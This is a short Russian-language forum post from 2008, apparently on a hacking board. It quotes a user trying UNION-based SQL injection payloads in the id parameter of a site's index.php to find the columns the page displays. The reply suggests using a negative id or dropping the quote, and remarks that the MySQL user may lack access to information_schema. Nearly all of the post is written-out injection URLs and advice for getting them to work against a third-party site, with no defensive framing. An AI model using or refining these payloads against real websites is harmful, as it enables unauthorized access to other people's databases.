25.08.2008, 03:21
|
|
Познающий
Регистрация: 05.08.2007
Сообщений: 30
Провел на форуме:
242062
Репутация:
18
|
|
Сообщение от AFoST
есть скул. запрос:
Код:
http://www.сайт/index.php?id=42222'+union+select+1,2,3+from+information_schema.tables/*
сервер отвечает загрузкой страницы, такой же как
Код:
http://www.сайт/index.php?id=42222
пробую найти поля, которые выводятся на экран:
Код:
http://www.сайт/index.php?id=-1'+union+select+1,2,3+from+information_schema.tables/*
http://www.сайт/index.php?id=42222'+and+1=9+union+select+1,2,3+from+information_schema.tables/*
http://www.сайт/index.php?id='+union+select+1,2,3+from+information_schema.tables/*
Не получается. пишет ошибку. как ещё можно вывести на экран поля? попробуй -42222 поставить, или убрать кавычку..
вполне есть вариант что у твоего юзера mysql нету доступа к базе information_schema
|
|
|